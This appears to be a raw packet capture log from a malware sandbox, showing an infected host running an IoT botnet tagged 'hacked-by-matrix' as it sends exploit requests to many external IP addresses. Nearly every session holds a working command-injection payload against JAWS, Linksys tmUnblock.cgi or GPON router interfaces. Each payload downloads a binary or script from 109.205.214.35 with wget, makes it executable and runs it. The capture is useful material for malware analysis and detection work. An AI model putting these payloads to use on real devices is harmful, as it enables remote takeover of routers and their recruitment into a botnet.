Mar 21, 2024 05:26:37.887419939 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:39.306544065 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:40.971519947 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:44.399542093 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:44.688884020 CET	29	IN	HTTP/1.1 200 OK
Mar 21, 2024 05:26:44.688947916 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www
Mar 21, 2024 05:26:47.263608932 CET	532	IN	HTTP/1.1 200 OK Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 74 64 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 74 72 2f 78 68 74 6d 6c 31 2f 44 74 64 2f 78 68 74 6d 6c 31 2d 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 47 50 4f 4e 20 48 6f 6d 65 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="utf-8" lang="utf-8" dir="ltr"><head><title>GPON Home Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="refresh" content="0; url=/login.html" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.23	59132	34.117.53.26	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.267585039 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.23	56968	118.51.244.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338041067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.23	39116	178.223.149.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338059902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.23	48114	118.14.243.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338071108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.23	58036	2.240.141.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338100910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.23	40992	94.102.14.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338128090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.23	56470	94.52.181.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338129997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.23	54530	178.130.181.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338149071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.23	50564	118.83.243.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338150978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.23	39946	109.13.222.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338202000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.23	40220	210.229.165.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338228941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.23	44378	178.75.51.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338237047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.23	50368	79.162.171.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338269949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.23	44198	210.179.205.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338270903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.23	39710	42.186.247.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338275909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.23	40416	109.99.0.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338308096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.23	46098	79.173.190.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338316917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.23	45592	118.45.43.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:38.338325024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.23	58400	2.19.109.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:39.319998026 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:39.509677887 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Thu, 21 Mar 2024 04:26:39 GMT Date: Thu, 21 Mar 2024 04:26:39 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 31 65 33 34 38 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 39 39 26 23 34 36 3b 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 37 26 23 34 36 3b 34 31 65 33 34 38 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 39 39 26 23 34 36 3b 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference 